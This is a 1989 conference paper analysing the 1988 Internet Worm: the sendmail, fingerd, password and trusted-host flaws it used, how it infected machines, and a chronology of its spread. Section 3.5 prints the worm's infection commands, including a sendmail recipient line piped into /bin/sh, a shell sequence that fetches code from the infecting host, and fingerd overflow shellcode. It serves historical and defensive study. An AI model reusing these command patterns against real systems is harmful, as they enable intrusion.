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On the evening of 2 November 1988, someone ‘‘infected’’ the Internet with a
worm program. That program exploited flaws in utility programs in systems based on
BSD-derived versions of UNIX. The flaws allowed the program to break into those
machines and copy itself, thus infecting those systems. This program eventually spread
to thousands of machines, and disrupted normal activities and Internet connectivity for
many days.
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1. Introduction

Worldwide, over 60,000 computers† in interconnecting networks communicate using a common set
of protocols—the Internet Protocols (IP).[7, 15] On the evening of 2 November 1988 this network (the
Internet) came under attack from within. Sometime after 5 PM EST, a program was executed on one or
more of these hosts. That program collected host, network, and user information, then used that informa-
tion to establish network connections and break into other machines using flaws present in those systems’
software. After breaking in, the program would replicate itself and the replica would attempt to infect
other systems in the same manner. Although the program would only infect Sun Microsystems Sun 3
systems, and VAX computers running variants of 4 BSD‡ UNIX, the program spread quickly, as did
the confusion and consternation of system administrators and users as they discovered that their systems
had been invaded. Although UNIX has long been known to have some security weaknesses (cf. [22],
[13, 21, 29]), especially in its usual mode of operation in open research environments, the scope of the
break-ins nonetheless came as a great surprise to almost everyone.

The program was mysterious to users at sites where it appeared. Unusual files were left in the
scratch (/usr/tmp) directories of some machines, and strange messages appeared in the log files of some of
the utilities, such as the sendmail mail handling agent. The most noticeable effect, however, was that sys-
tems became more and more loaded with running processes as they became repeatedly infected. As time
went on, some of these machines became so loaded that they were unable to continue any processing;
some machines failed completely when their swap space or process tables were exhausted.

By early Thursday morning, November 3, personnel at the University of California at Berkeley and
Massachusetts Institute of Technology had ‘‘captured’’ copies of the program and began to analyze it.
People at other sites also began to study the program and were developing methods of eradicating it. A
common fear was that the program was somehow tampering with system resources in a way that could
not be readily detected—that while a cure was being sought, system files were being altered or informa-
tion destroyed. By 5 AM EST Thursday morning, less than 12 hours after the program was first
discovered on the network, the Computer Systems Research Group at Berkeley had developed an interim
set of steps to halt its spread. This included a preliminary patch to the sendmail mail agent, and the
suggestion to rename one or both of the C compiler and loader to prevent their use. These suggestions
were published in mailing lists and on the Usenet network news system, although their spread was
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* This paper appears in the Proceedings of the 1989 European Software Engineering Conference (ESEC 89), pub-
lished by Springer-Verlag as #87 in the ‘‘Lecture Notes in Computer Science’’ series.

† As presented by Mark Lottor at the October 1988 Internet Engineering Task Force (IETF) meeting in Ann Arbor,
MI.

‡ BSD is an acronym for Berkeley Software Distribution.

 UNIX is a registered trademark of AT&T Laboratories.

 VAX is a trademark of Digital Equipment Corporation.
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hampered by systems disconnected from the Internet in an attempt to ‘‘quarantine’’ them.

By about 9 PM EST Thursday, another simple, effective method of stopping the invading program,
without altering system utilities, was discovered at Purdue and also widely published. Software patches
were posted by the Berkeley group at the same time to mend all the flaws that enabled the program to
invade systems. All that remained was to analyze the code that caused the problems and discover who
had unleashed the worm—and why. In the weeks that followed, other well-publicized computer break-ins
occurred and many debates began about how to deal with the individuals staging these break-ins, who is
responsible for security and software updates, and the future roles of networks and security. The conclu-
sion of these discussions may be some time in coming because of the complexity of the topics, but the
ongoing debate should be of interest to computer professionals everywhere. A few of those issues are
summarized later.

After a brief discussion of why the November 2nd program has been called a worm, this paper
describes how the program worked. This is followed by a chronology of the spread and eradication of
the Worm, and concludes with some observations and remarks about the community’s reaction to the
whole incident, as well as some remarks about potential consequences for the author of the Worm.

2. Terminology

There seems to be considerable variation in the names applied to the program described here.
Many people have used the term worm instead of virus based on its behavior. Members of the press have
used the term virus, possibly because their experience to date has been only with that form of security
problem. This usage has been reinforced by quotes from computer managers and programmers also
unfamiliar with the difference. For purposes of clarifying the terminology, let me define the difference
between these two terms and give some citations as to their origins; these same definitions were recently
given in [9]:

A worm is a program that can run independently and can propagate a fully working version of itself
to other machines. It is derived from the word tapeworm, a parasitic organism that lives inside a
host and uses its resources to maintain itself.

A virus is a piece of code that adds itself to other programs, including operating systems. It cannot
run independently—it requires that its ‘‘host’’ program be run to activate it. As such, it has an ana-
log to biological viruses — those viruses are not considered alive in the usual sense; instead, they
invade host cells and corrupt them, causing them to produce new viruses.

2.1. Worms

The concept of a worm program that spreads itself from machine to machine was apparently first
described by John Brunner in 1975 in his classic science fiction novel The Shockwave Rider.[5] He called
these programs tapeworms that existed ‘‘inside’’ the computers and spread themselves to other machines.
Ten years ago, researchers at Xerox PARC built and experimented with worm programs. They reported
their experiences in 1982 in [25], and cited Brunner as the inspiration for the name worm. Although not
the first self-replicating programs to run in a network environment, these were the first such programs to
be called worms.

The worms built at PARC were designed to travel from machine to machine and do useful work in
a distributed environment—they were not used at that time to break into systems. Because of this, some
people prefer to call the Internet Worm a virus because it was destructive, and they believe worms are
non-destructive. Not everyone agrees that the Internet Worm was destructive, however. Since intent and
effect are sometimes difficult to judge because we lack complete information and have different
definitions of those terms, using them as a naming criterion is clearly insufficient. Unless a different
naming scheme is generally adopted, programs such as this one should be called worms because of their
method of propagation.
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2.2. Viruses

The first published use of the word virus (to my knowledge) to describe something that infects a
computer was by David Gerrold in his science fiction short stories about the G.O.D. machine. These
stories were later combined and expanded to form the book When Harlie Was One. [12] A subplot in that
book described a program named VIRUS created by an unethical scientist.* A computer infected with
VIRUS would randomly dial the phone until it found another computer. It would then break into that
system and infect it with a copy of VIRUS. This program would infiltrate the system software and slow
the system down so much that it became unusable (except to infect other machines). The inventor had
plans to sell a program named VACCINE that could cure VIRUS and prevent infection, but disaster
occurred when noise on a phone line caused VIRUS to mutate so VACCINE ceased to be effective.

The term computer virus was first used in a formal way by Fred Cohen at USC. [6] He defined the
term to mean a security problem that attaches itself to other code and turns it into something that pro-
duces viruses; to quote from his paper: ‘‘We define a computer ‘virus’ as a program that can infect other
programs by modifying them to include a possibly evolved copy of itself.’’ He claimed the first com-
puter virus was ‘‘born’’ on November 3, 1983, written by himself for a security seminar course,† and in
his Ph. D. dissertation he credited his advisor, L. Adleman, with originating the terminology. However,
there are accounts of virus programs being created at least a year earlier, including one written by a stu-
dent at Texas A&M during early 1982.*

2.3. An Opposing View

In a widely circulated paper [10], Eichin and Rochlis chose to call the November 2nd program a
virus. Their reasoning for this required reference to biological literature and observing distinctions
between lytic viruses and lysogenic viruses. It further requires that we view the Internet as a whole to be
the infected host rather than each individual machine.

Their explanation merely serves to underscore the dangers of co-opting terms from another discip-
line to describe phenomena within our own (computing). The original definitions may be much more
complex than we originally imagine, and attempts to maintain and justify the analogies may require a
considerable effort. Here, it may also require an advanced degree in the biological sciences!

The definitions of worm and virus I have given, based on Cohen’s and Denning’s definitions, do
not require detailed knowledge of biology or pathology. They also correspond well with our traditional
understanding of what a computer ‘‘host’’ is. Although Eichin and Rochlis present a reasoned argument
for a more precise analogy to biological viruses, we should bear in mind that the nomenclature has been
adopted for the use of computer professionals and not biologists. The terminology should be descriptive,
unambiguous, and easily understood. Using a nonintuitive definition of a ‘‘computer host,’’ and introduc-
ing unfamiliar terms such as lysogenic does not serve these goals well. As such, the term worm should
continue to be the name of choice for this program and others like it.

3. How the Worm Operated

The Worm took advantage of flaws in standard software installed on many UNIX systems. It also
took advantage of a mechanism used to simplify the sharing of resources in local area networks. Specific
patches for these flaws have been widely circulated in days since the Worm program attacked the Inter-
net. Those flaws are described here, along with some related problems, since we can learn something
about software design from them. This is then followed by a description of how the Worm used the
flaws to invade systems.

333333333333333333
* The second edition of the book, recently published, has been ‘‘updated’’ to omit this subplot about VIRUS.

† It is ironic that the Internet Worm was loosed on November 2, the eve of this ‘‘birthday.’’

* Private communication, Joe Dellinger.
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3.1. fingerd and gets

The finger program is a utility that allows users to obtain information about other users. It is usu-
ally used to identify the full name or login name of a user, whether a user is currently logged in, and pos-
sibly other information about the person such as telephone numbers where he or she can be reached. The
fingerd program is intended to run as a daemon, or background process, to service remote requests using
the finger protocol. [14] This daemon program accepts connections from remote programs, reads a single
line of input, and then sends back output matching the received request.

The bug exploited to break fingerd involved overrunning the buffer the daemon used for input. The
standard C language I/O library has a few routines that read input without checking for bounds on the
buffer involved. In particular, the gets call takes input to a buffer without doing any bounds checking;
this was the call exploited by the Worm. As will be explained later, the input overran the buffer allocated
for it and rewrote the stack frame, thus altering the behavior of the program.

The gets routine is not the only routine with this flaw. There is a whole family of routines in the C
library that may also overrun buffers when decoding input or formatting output unless the user explicitly
specifies limits on the number of characters to be converted.

Although experienced C programmers are aware of the problems with these routines, many con-
tinue to use them. Worse, their format is in some sense codified not only by historical inclusion in UNIX

and the C language, but more formally in the forthcoming ANSI language standard for C. The hazard
with these calls is that any network server or privileged program using them may possibly be comprom-
ised by careful precalculation of the (in)appropriate input.

Interestingly, at least two long-standing flaws based on this underlying problem have recently been
discovered in other standard BSD UNIX commands. Program audits by various individuals have revealed
other potential problems, and many patches have been circulated since November to deal with these
flaws. Despite this, the library routines will continue to be used, and as our memory of this incident
fades, new flaws may be introduced with their use.

3.2. Sendmail

The sendmail program is a mailer designed to route mail in a heterogeneous internetwork. [3] The
program operates in several modes, but the one exploited by the Worm involves the mailer operating as a
daemon (background) process. In this mode, the program is ‘‘listening’’ on a TCP port (#25) for
attempts to deliver mail using the standard Internet protocol, SMTP (Simple Mail Transfer Protocol). [20]
When such an attempt is detected, the daemon enters into a dialog with the remote mailer to determine
sender, recipient, delivery instructions, and message contents.

The bug exploited in sendmail had to do with functionality provided by a debugging option in the
code. The Worm would issue the DEBUG command to sendmail and then specify the recipient of the
message as a set of commands instead of a user address. In normal operation, this is not allowed, but it
is present in the debugging code to allow testers to verify that mail is arriving at a particular site without
the need to invoke the address resolution routines. By using this feature, testers can run programs to
display the state of the mail system without sending mail or establishing a separate login connection.
This debug option is often used because of the complexity of configuring sendmail for local conditions
and it is often left turned on by many vendors and site administrators.

The sendmail program is of immense importance on most Berkeley-derived (and other) UNIX sys-
tems because it handles the complex tasks of mail routing and delivery. Yet, despite its importance and
widespread use, most system administrators know little about how it works. Stories are often related
about how system administrators will attempt to write new device drivers or otherwise modify the kernel
of the operating system, yet they will not willingly attempt to modify sendmail or its configuration files.

It is little wonder, then, that bugs are present in sendmail that allow unexpected behavior. Other
flaws have been found and reported now that attention has been focused on the program, but it is not
known for sure if all the bugs have been discovered and all the patches circulated.
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3.3. Passwords

A key attack of the Worm program involved attempts to discover user passwords. It was able to
determine success because the encrypted password* of each user was in a publicly-readable file. In UNIX

systems, the user provides a password at sign-on to verify identity. The password is encrypted using a
permuted version of the Data Encryption Standard (DES) algorithm, and the result is compared against a
previously encrypted version present in a world-readable accounting file. If a match occurs, access is
allowed. No plaintext passwords are contained in the file, and the algorithm is supposedly non-invertible
without knowledge of the password.

The organization of the passwords in UNIX allows non-privileged commands to make use of infor-
mation stored in the accounts file, including authentification schemes using user passwords. However, it
also allows an attacker to encrypt lists of possible passwords and then compare them against the actual
passwords without calling any system function. In effect, the security of the passwords is provided by
the prohibitive effort of trying this approach with all combinations of letters. Unfortunately, as machines
get faster, the cost of such attempts decreases. Dividing the task among multiple processors further
reduces the time needed to decrypt a password. Such attacks are also made easier when users choose
obvious or common words for their passwords. An attacker need only try lists of common words until a
match is found.

The Worm used such an attack to break passwords. It used lists of words, including the standard
online dictionary, as potential passwords. It encrypted them using a fast version of the password algo-
rithm and then compared the result against the contents of the system file. The Worm exploited the
accessibility of the file coupled with the tendency of users to choose common words as their passwords.
Some sites reported that over 50% of their passwords were quickly broken by this simple approach.

One way to reduce the risk of such attacks, and an approach that has already been taken in some
variants of UNIX, is to have a shadow password file. The encrypted passwords are saved in a file (sha-
dow) that is readable only by the system administrators, and a privileged call performs password encryp-
tions and comparisons with an appropriate timed delay (.5 to 1 second, for instance). This would prevent
any attempt to ‘‘fish’’ for passwords. Additionally, a threshold could be included to check for repeated
password attempts from the same process, resulting in some form of alarm being raised. Shadow pass-
word files should be used in combination with encryption rather than in place of such techniques, how-
ever, or one problem is simply replaced by a different one (securing the shadow file); the combination of
the two methods is stronger than either one alone.

Another way to strengthen the password mechanism would be to change the utility that sets user
passwords. The utility currently makes minimal attempt to ensure that new passwords are nontrivial to
guess. The program could be strengthened in such a way that it would reject any choice of a word
currently in the on-line dictionary or based on the account name.

A related flaw exploited by the Worm involved the use of trusted logins. One useful features of
BSD UNIX-based networking code is its support for executing tasks on remote machines. To avoid hav-
ing repeatedly to type passwords to access remote accounts, it is possible for a user to specify a list of
host/login name pairs that are assumed to be ‘‘trusted,’’ in the sense that a remote access from that
host/login pair is never asked for a password. This feature has often been responsible for users gaining
unauthorized access to machines (cf. [21]), but it continues to be used because of its great convenience.

The Worm exploited the mechanism by trying to locate machines that might ‘‘trust’’ the current
machine/login being used by the Worm. This was done by examining files that listed remote
machine/logins trusted by the current host.* Often, machines and accounts are configured for reciprocal
trust. Once the Worm found such likely candidates, it would attempt to instantiate itself on those
machines by using the remote execution facility—copying itself to the remote machines as if it were an
authorized user performing a standard remote operation.
333333333333333333

* Strictly speaking, the password is not encrypted. A block of zero bits is repeatedly encrypted using the user pass-
word, and the results of this encryption is what is saved. See [4] and [19] for more details.

* The hosts.equiv and per-user .rhosts files referred to later.
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To defeat future such attempts requires that the current remote access mechanism be removed and
possibly replaced with something else. One mechanism that shows promise in this area is the Kerberos
authentification server [28]. This scheme uses dynamic session keys that need to be updated periodically.
Thus, an invader could not make use of static authorizations present in the file system.

3.4. High Level Description

The Worm consisted of two parts: a main program, and a bootstrap or vector program. The main
program, once established on a machine, would collect information on other machines in the network to
which the current machine could connect. It would do this by reading public configuration files and by
running system utility programs that present information about the current state of network connections.
It would then attempt to use the flaws described above to establish its bootstrap on each of those remote
machines.

The bootstrap was 99 lines of C code that would be compiled and run on the remote machine. The
source for this program would be transferred to the victim machine using one of the methods discussed in
the next section. It would then be compiled and invoked on the victim machine with three command line
arguments: the network address of the infecting machine, the number of the network port to connect to on
that machine to get copies of the main Worm files, and a magic number that effectively acted as a one-
time-challenge password. If the ‘‘server’’ Worm on the remote host and port did not receive the same
magic number back before starting the transfer, it would immediately disconnect from the vector pro-
gram. This may have been done to prevent someone from attempting to ‘‘capture’’ the binary files by
spoofing a Worm ‘‘server.’’

This code also went to some effort to hide itself, both by zeroing out its argument vector (command
line image), and by immediately forking a copy of itself. If a failure occurred in transferring a file, the
code deleted all files it had already transferred, then it exited.

Once established on the target machine, the bootstrap would connect back to the instance of the
Worm that originated it and transfer a set of binary files (precompiled code) to the local machine. Each
binary file represented a version of the main Worm program, compiled for a particular computer architec-
ture and operating system version. The bootstrap would also transfer a copy of itself for use in infecting
other systems. One curious feature of the bootstrap has provoked many questions, as yet unanswered: the
program had data structures allocated to enable transfer of up to 20 files; it was used with only three.
This has led to speculation whether a more extensive version of the Worm was planned for a later date,
and if that version might have carried with it other command files, password data, or possibly local virus
or trojan horse programs.

Once the binary files were transferred, the bootstrap program would load and link these files with
the local versions of the standard libraries. One after another, these programs were invoked. If one of
them ran successfully, it read into its memory copies of the bootstrap and binary files and then deleted the
copies on disk. It would then attempt to break into other machines. If none of the linked versions ran,
then the mechanism running the bootstrap (a command file or the parent worm) would delete all the disk
files created during the attempted infection.

3.5. Step-by-step description

This section contains a more detailed overview of how the Worm program functioned. The
description in this section assumes that the reader is somewhat familiar with standard UNIX commands
and with BSD UNIX network facilities. A more detailed analysis of operation and components can be
found in [26], with additional details in [10] and [24].

This description starts from the point at which a host is about to be infected. A Worm running on
another machine has either succeeded in establishing a shell on the new host and has connected back to
the infecting machine via a TCP connection,* or it has connected to the SMTP port and is transmitting to
the sendmail program.
333333333333333333

* Internet reliable stream connection.
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The infection proceeded as follows:

1) A socket was established on the infecting machine for the vector program to connect to (e.g., socket
number 32341). A challenge string was constructed from a random number (e.g., 8712440). A file
name base was also constructed using a random number (e.g., 14481910).

2) The vector program was installed and executed using one of two methods:

2a) Across a TCP connection to a shell, the Worm would send the following commands (the two
lines beginning with ‘‘cc’’ were sent as a single line):

PATH=/bin:/usr/bin:/usr/ucb
cd /usr/tmp
echo gorch49; sed ’/int zz/q’ > x14481910.c;echo gorch50
[text of vector program]
int zz;
cc -o x14481910 x14481910.c;./x14481910 128.32.134.16 32341 8712440;
rm -f x14481910 x14481910.c;echo DONE

Then it would wait for the string ‘‘DONE’’ to signal that the vector program was running.

2b) Using the SMTP connection, it would transmit (the two lines beginning with ‘‘cc’’ were sent
as a single line):

debug
mail from: </dev/null>
rcpt to: <"|sed -e ’1,/^$/’d | /bin/sh ; exit 0">
data

cd /usr/tmp
cat > x14481910.c <<’EOF’
[text of vector program]
EOF
cc -o x14481910 x14481910.c;x14481910 128.32.134.16 32341 8712440;
rm -f x14481910 x14481910.c

.
quit

The infecting Worm would then wait for up to 2 minutes on the designated port for the vector to
contact it.

3) The vector program then connected to the ‘‘server,’’ sent the challenge string, and transferred three
files: a Sun 3 binary version of the Worm, a VAX version, and the source code for the vector pro-
gram. After the files were copied, the running vector program became (via the execl call) a shell
with its input and output still connected to the server Worm.

4) The server Worm sent the following command stream to the connected shell:

PATH=/bin:/usr/bin:/usr/ucb
rm -f sh
if [ -f sh ]
then
P=x14481910
else
P=sh
fi
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Then, for each binary file it had transferred (just two in this case, although the code is written to
allow more), it would send the following form of command sequence:

cc -o $P x14481910,sun3.o
./$P -p $$ x14481910,sun3.o x14481910,vax.o x14481910,l1.c
rm -f $P

The rm would succeed only if the linked version of the Worm failed to start execution. If the
server determined that the host was now infected, it closed the connection. Otherwise, it would try
the other binary file. After both binary files had been tried, it would send over rm commands for
the object files to clear away all evidence of the attempt at infection.

5) The new Worm on the infected host proceeded to ‘‘hide’’ itself by obscuring its argument vector,
unlinking the binary version of itself, and killing its parent (the $$ argument in the invocation). It
then read into memory each of the Worm binary files, encrypted each file after reading it, and
deleted the files from disk.

6) Next, the new Worm gathered information about network interfaces and hosts to which the local
machine was connected. It built lists of these in memory, including information about canonical
and alternate names and addresses. It gathered some of this information by making direct ioctl
calls, and by running the netstat program with various arguments.* It also read through various sys-
tem files looking for host names to add to its database.

7) It randomized the lists of hosts it constructed, then attempted to infect some of them. For directly
connected networks, it created a list of possible host numbers and attempted to infect those hosts if
they existed. Depending on whether the host was remote or attached to a local area network the
Worm first tried to establish a connection on the telnet or rexec ports to determine reachability
before it attempted an infection.

8) The infection attempts proceeded by one of three routes: rsh, fingerd, or sendmail.

8a) The attack via rsh was done by attempting to spawn a remote shell by invocation of (in order
of trial) /usr/ucb/rsh, /usr/bin/rsh, and /bin/rsh. If successful, the host was infected as in steps
1 and 2a, above.

8b) The attack via the finger daemon was somewhat more subtle. A connection was established
to the remote finger server daemon and then a specially constructed string of 536 bytes was
passed to the daemon, overflowing its 512 byte input buffer and overwriting parts of the
stack. For standard 4 BSD versions running on VAX computers, the overflow resulted in the
return stack frame for the main routine being changed so that the return address pointed into
the buffer on the stack. The instructions that were written into the stack at that location were
a series of no-ops followed by:

pushl $68732f ’/sh\0’
pushl $6e69622f ’/bin’
movl sp, r10
pushl $0
pushl $0
pushl r10
pushl $3
movl sp,ap
chmk $3b

That is, the code executed when the main routine attempted to return was:

333333333333333333
* Ioctl is a UNIX call to do device queries and control. Netstat is a status and monitor program showing the state of

network connections.
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execve("/bin/sh", 0, 0)

On VAXen, this resulted in the Worm connected to a remote shell via the TCP connection.
The Worm then proceeded to infect the host as in steps 1 and 2a, above. On Suns, this sim-
ply resulted in a core dump since the code was not in place to corrupt a Sun version of
fingerd in a similar fashion. Curiously, correct machine-specific code to corrupt Suns could
have been written in a matter of hours and included but was not. [26]

8c) The Worm then tried to infect the remote host by establishing a connection to the SMTP port
and mailing an infection, as in step 2b, above.

Not all the steps were attempted. As soon as one method succeeded, the host entry in the internal list
was marked as infected and the other methods were not attempted.

9) Next, it entered a state machine consisting of five states. Each state but the last was run for a short
while, then the program looped back to step #7 (attempting to break into other hosts via sendmail,
finger, or rsh). The first four of the five states were attempts to break into user accounts on the
local machine. The fifth state was the final state, and occurred after all attempts had been made to
break all passwords. In the fifth state, the Worm looped forever trying to infect hosts in its internal
tables and marked as not yet infected. The first four states were:

9a) The Worm read through the /etc/hosts.equiv files and /.rhosts files to find the names of
equivalent hosts. These were marked in the internal table of hosts. Next, the Worm read
/etc/passwd (the account and password file) into an internal data structure. As it was doing
this, it also examined the .forward file (used to forward mail to a different host automatically)
in each user home directory and included any new host names into its internal table of hosts
to try. Oddly, it did not similarly check user .rhosts files.

9b) The Worm attempted to break each user password using simple choices. The Worm first
checked the obvious case of no password. Then, it used the account name and user informa-
tion field to try simple passwords. Assume that the user had an entry in the password file
like:

account:abcedfghijklm:100:5:User, Name:/usr/account:/bin/sh

(These represent, respectively, the account name, the encrypted password, the user ID
number, the user’s default group ID number, per-user information field, the pathname of the
user’s home account, and the pathname of the user’s default command interpreter or shell.)
The words tried as potential passwords would be account, accountaccount, User, Name, user,
name, and tnuocca. These are, respectively, the account name, the account name concatenated
with itself, the first and last names of the user, the user names with leading capital letters
turned to lower case, and the account name reversed. Experience described in[13] shows that
on systems where users are naive about proper password security, these choices may work for
a significant percentage of user accounts.

Step 10 in this section describes what was done if a password ‘‘hit’’ was achieved.

9c) The third stage in the process involved trying to break the password of each user by trying
each word present in an internal dictionary of words (available in [26]). This dictionary of
432 words was tried against each account in a random order, with ‘‘hits’’ being handled as
described in step 10, below.

9d) The fourth stage was entered if all other attempts failed. For each word in the online diction-
ary, the Worm would see if it was the password to any account. In addition, if the word in
the dictionary began with an upper case letter, the letter was converted to lower case and that
word was also tried against all the passwords.

10) Once a password was broken for any account, the Worm would attempt to break into remote
machines where that user had accounts. The Worm would scan the .forward and .rhosts files of the
user at this point, and identify the names of remote hosts that had accounts used by the target user.
It then attempted two attacks:



- 10 -

10a) The Worm would first attempt to create a remote shell using the rexec* service. The attempt
would be made using the account name given in the .forward or .rhosts file and the user’s
local password. This took advantage of users’ tendency to use the same password on their
accounts on multiple machines.

10b) The Worm would do a rexec to the current host (using the local user name and password)
and would try a rsh command to the remote host using the username taken from the file.
This attack would succeed when the remote machine had a hosts.equiv file or the user had a
.rhosts file that allowed remote execution without a password.

If the remote shell was created either way, the attack would continue as in steps 1 and 2a, above.
No other use was made of the user password.

Throughout the execution of the main loop, the Worm would check for other Worms running on
the same machine. To do this, the Worm would attempt to connect to another Worm on a local, predeter-
mined TCP socket.† If such a connection succeeded, one Worm would (randomly) set an internal variable
named pleasequit to 1, causing that Worm to exit after it had reached part way into the third stage (9c) of
password cracking. This delay is part of the reason many systems had multiple Worms running: even
though a Worm would check for other local Worms, it would defer its self-destruction until significant
effort had been made to break local passwords. Furthermore, race conditions in the code made it possible
for Worms on heavily loaded machines to fail to connect, thus causing some of them to continue
indefinitely despite the presence of other Worms.

One out of every seven Worms would become ‘‘immortal’’ rather than check for other local
Worms. Based on a generated random number they would set an internal flag that would prevent them
from ever looking for another Worm on their host. This may have been done to defeat any attempt to put
a fake Worm process on the TCP port to kill existing Worms. Whatever the reason, this was likely the
primary cause of machines being overloaded with multiple copies of the Worm.

The Worm attempted to send a UDP packet to the host ernie.berkeley.edu‡ approximately once
every 15 infections, based on a random number comparison. The code to do this was incorrect, however,
and no information was ever sent. Whether this was the intended ruse or whether there was some reason
for the byte to be sent is not currently known. However, the code is such that an uninitialized byte is the
intended message. It is possible that the author eventually intended to run some monitoring program on
ernie (after breaking into an account, perhaps). Such a program could obtain the sending host number
from the single-byte message, whether it was sent as a TCP or UDP packet. However, no evidence for
such a program has been found and it is possible that the connection was simply a feint to cast suspicion
on personnel at Berkeley.

The Worm would also fork itself on a regular basis and kill its parent. This has two effects. First,
the Worm appeared to keep changing its process identifier and no single process accumulated excessive
amounts of cpu time. Secondly, processes that have been running for a long time have their priority
downgraded by the scheduler. By forking, the new process would regain normal scheduling priority.
This mechanism did not always work correctly, either, as locally we observed some instances of the
Worm with over 600 seconds of accumulated cpu time.

If the Worm was present on a machine for more than 12 hours, it would flush its host list of all
entries flagged as being immune or already infected. The way hosts were added to this list implies that a
single Worm might reinfect the same machines every 12 hours.

4. Chronology

What follows is an abbreviated chronology of events relating to the release of the Internet Worm.
Most of this information was gathered from personal mail, submissions to mailing lists, and Usenet post-
ings. Some items were taken from [24]  and [1],  and are marked accordingly. This is certainly not a
333333333333333333

* rexec is a remote command execution service. It requires that a username/password combination be supplied as part
of the request.

† This was compiled in as port number 23357, on host 127.0.0.1 (loopback).

‡ Using TCP port 11357 on host 128.32.137.13. UDP is an Internet unreliable data packet transmission protocol.
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complete chronology—many other sites were affected by the Worm but are not listed here. Note that
because of clock drift and machine crashes, some of the times given here may not be completely accurate.
They should convey an approximation to the sequence of events, however. All times are given in Eastern
Standard Time.

It is particularly interesting to note how quickly and how widely the Worm spread. It is also
significant to note how quickly it was identified and stopped by an ad hoc collection of ‘‘Worm hunters’’
using the same network to communicate their results.

November 2, 1988

~1700 Worm executed on a machine at Cornell University. (NCSC) Whether this was a last test or
the initial execution is not known.

~1800 Machine prep.ai.mit.edu at MIT infected. (Seely, mail) This may have been the initial exe-
cution. Prep is a public-access machine, used for storage and distribution of GNU project
software. It is configured with some notorious security holes that allow anonymous remote
users to introduce files into the system.

1830 Infected machine at the University of Pittsburgh infects a machine at the RAND Corpora-
tion. (NCSC)

2100 Worm discovered on machines at Stanford. (NCSC)
2130 First machine at the University of Minnesota invaded. (mail)
2204 Gateway machine at University of California, Berkeley invaded. Mike Karels and Phil

Lapsley discover this shortly afterwards because they noticed an unusual load on the
machine. (mail)

2234 Gateway machine at Princeton University infected. (mail)
~2240 Machines at the University of North Carolina are infected and attempt to invade other

machines. Attempts on machines at MCNC (Microelectronics Center of North Carolina)
start at 2240. (mail)

2248 Machines at SRI infected via sendmail. (mail)
2252 Worm attempts to invade machine andrew.cmu.edu at Carnegie-Mellon University. (mail)
2254 Gateway hosts at the University of Maryland come under attack via fingerd daemon. Evi-

dence is later found that other local hosts are already infected. (mail)
2259 Machines at University of Pennsylvania attacked, but none are susceptible. Logs will later

show 210 attempts over next 12 hours. (mail)
~2300 AI Lab machines at MIT infected. (NCSC)

2328 mimsy.umd.edu at University of Maryland is infected via sendmail. (mail)
2340 Researchers at Berkeley discover sendmail and rsh as means of attack. They begin to shut

off other network services as a precaution. (Seeley)
2345 Machines at Dartmouth and the Army Ballistics Research Lab (BRL) attacked and infected.

(mail, NCSC)
2349 Gateway machine at the University of Utah infected. In the next hour, the load average will

soar to 100* because of repeated infections. (Seeley)

November 3, 1988

0007 University of Arizona machine arizona.edu infected. (mail)
0021 Princeton University main machine (a VAX 8650) infected. Load average reaches 68 and

the machine crashes. (mail)
0033 Machine dewey.udel.edu at the University of Delaware infected, but not by sendmail. (mail)
0105 Worm invades machines at Lawrence Livermore Labs (LLL). (NCSC)
0130 Machines at UCLA infected. (mail)

333333333333333333
* The load average is an indication of how many processes are on the ready list awaiting their turn to execute. The

normal load for a gateway machine is usually below 10 during off-hours.
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0200 The Worm is detected on machines at Harvard University. (NCSC)
0238 Peter Yee at Berkeley posts a message to the TCP-IP mailing list: ‘‘We are under attack.’’

Affected sites mentioned in the posting include U. C. Berkeley, U. C. San Diego, LLL,
Stanford, and NASA Ames. (mail)

~0315 Machines at the University of Chicago are infected. One machine in the Physics department
logs over 225 infection attempts via fingerd from machines at Cornell during the time period
midnight to 0730. (mail)

0334 Warning about the Worm is posted anonymously (from ‘‘foo@bar.arpa’’) to the TCP-IP
mailing list: ‘‘There may be a virus loose on the internet.’’ What follows are three brief
statements of how to stop the Worm, followed by ‘‘Hope this helps, but more, I hope it is a
hoax.’’ The poster is later revealed to be Andy Sudduth of Harvard, who was phoned by the
Worm’s alleged author, Robert T. Morris. Due to network and machine loads, the warning
is not propagated for well over 24 hours. (mail, Seeley)

~0400 Colorado State University attacked. (mail)
~0400 Machines at Purdue University infected.

0554 Keith Bostic mails out a warning about the Worm, plus a patch to sendmail. His posting
goes to the TCP-IP list, the Usenix 4bsd-ucb-fixes newsgroup, and selected site administra-
tors around the country. (mail, Seeley)

0645 Clifford Stoll calls the National Computer Security Center and informs them of the Worm.
(NCSC)

~0700 Machines at Georgia Institute of Technology are infected. Gateway machine (a Vax 780)
load average begins climb past 30. (mail)

0730 I discover infection on machines at Purdue University. Machines are so overloaded I cannot
read my mail or news, including mail from Keith Bostic about the Worm. Believing this to
be related to a recurring hardware problem on the machine, I request that the system be res-
tarted.

0807 Edward Wang at Berkeley unravels fingerd attack, but his mail to the systems group is not
read for more than 12 hours. (mail)

0818 I read Keith’s mail. I forward his warning to the Usenet news.announce.important news-
group, to the nntp-managers mailing list, and to over 30 other site admins. This is the first
notice most of these people get about the Worm. This group exchanges mail all day about
progress and behavior of the Worm, and eventually becomes the phage mailing list based at
Purdue with over 300 recipients.

~0900 Machines on Nysernet found to be infected. (mail)
1036 I mail first description of how the Worm works to the mailing list and to the Risks Digest.

The fingerd attack is not yet known.
1130 The Defense Communications Agency inhibits the mailbridges between Arpanet and Milnet.

(NCSC)
1200 Over 120 machines at SRI in the Science & Technology center are shut down. Between 1/3

and 1/2 are found to be infected. (mail)
1450 Personnel at Purdue discover machines with patched versions of sendmail reinfected. I mail

and post warning that the sendmail patch by itself is not sufficient protection. This was
known at various sites, including Berkeley and MIT, over 12 hours earlier but never publi-
cized.

1600 System admins of Purdue systems meet to discuss local strategy. Captured versions of the
Worm suggest a way to prevent infection: create a directory named sh in the /usr/tmp direc-
tory.

1800 Mike Spitzer and Mike Rowan of Purdue discover how the finger bug works. A mailer
error causes their explanation to fail to leave Purdue machines.

1900 Bill Sommerfield of MIT recreates fingerd attack and phones Berkeley with this information.
Nothing is mailed or posted about this avenue of attack. (mail, Seeley)

1919 Keith Bostic posts and mails new patches for sendmail and fingerd. They are corrupted in
transit. Many sites do not receive them until the next day. (mail, Seeley)
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1937 Tim Becker of the University of Rochester mails out description of the fingerd attack. This
one reaches the phage mailing list. (mail)

2100 My original mail about the Worm, sent at 0818, finally reaches the University of Maryland.
(mail)

2120 Personnel at Purdue verify, after repeated attempts, that creating a directory named sh in
/usr/tmp prevents infection. I post this information to phage.

